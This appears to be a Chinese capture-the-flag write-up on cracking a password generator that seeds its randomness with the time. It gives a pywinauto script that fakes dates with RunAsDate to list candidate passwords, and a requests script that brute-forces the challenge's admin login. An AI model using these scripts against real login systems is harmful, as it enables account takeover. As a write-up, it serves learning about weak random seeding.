这题 exe 用 wine 跑不起来,只好去微软官网下载了个 Windows 10 虚拟机 来做题。
直接猜到是用(精确到秒的)时间做随机数种子的。Linux 用 faketime 就能随便篡改程序读到的时间,上网搜 Windows 怎么做。发现个叫 RunAsDate 的程序,下面命令就使得程序启动时读到的时间是 2021-10-20 00:00:00(这里 /movetime
是必须的,不然好像时间是停止的,会导致程序卡死):
$ RunAsDate.exe /immediate /movetime 20/10/2021 00:00:00 .\generator.exe
窗口出来后快速点击生成密码,多试几次后发现的确会生成相同密码。
不用逆向了。网页上看 admin 账户信息,得知该用户“于 2021-09-22 23:11 注册”。直接搞个自动点击脚本(用了 pywinauto 这个库),跑出来这个时间前后的密码:
import pywinauto
import _ctypes
from pywinauto import Desktop, Application
import time
import subprocess
import datetime
t = datetime.datetime(2021, 9, 22, 23, 10, 0)
t_end = datetime.datetime(2021, 9, 22, 23, 12, 0)
while t < t_end:
proc = subprocess.Popen([
".\\RunAsDate.exe", "/immediate", "/movetime",
t.strftime("%d/%m/%Y"), t.strftime("%H:%M:%S"),
".\\generator.exe"])
proc.wait()
while True:
try:
app = Application(backend="uia").connect(title="密码生成器")
except pywinauto.findwindows.ElementNotFoundError:
time.sleep(0.1)
else:
break
window = app.window()
window["生成"].click()
while True:
password = window.Edit.window_text()
if password != "":
break
time.sleep(0.1)
print(t.isoformat(), password)
try:
window.close()
except _ctypes.COMError:
time.sleep(1)
t += datetime.timedelta(seconds=1)
以下是试密码的脚本:
import requests
import sys
s = requests.Session()
csrf_token = "<REDACTED>"
session_id = "<REDACTED>"
s.cookies.update({
"csrftoken": csrf_token,
"sessionid": session_id,
"session": session_id
})
for idx, line in enumerate(sys.stdin):
password = line.strip()
req = s.post("http://202.38.93.111:15002/login", data={
"csrfmiddlewaretoken": csrf_token,
"username": "admin",
"password": password
})
if "用户名或密码错误" in req.text:
print(f"{idx:4d} {password} BAD")
else:
print(f"{idx:4d} {password} GOOD")
break
我被时区问题坑了很久。我系统时区不是 UTC+8,一开始试了本地时间 2021-09-22 23:11 以及偏移正负 8 小时,全都不行。后来把时区调成 UTC+8 就成功了。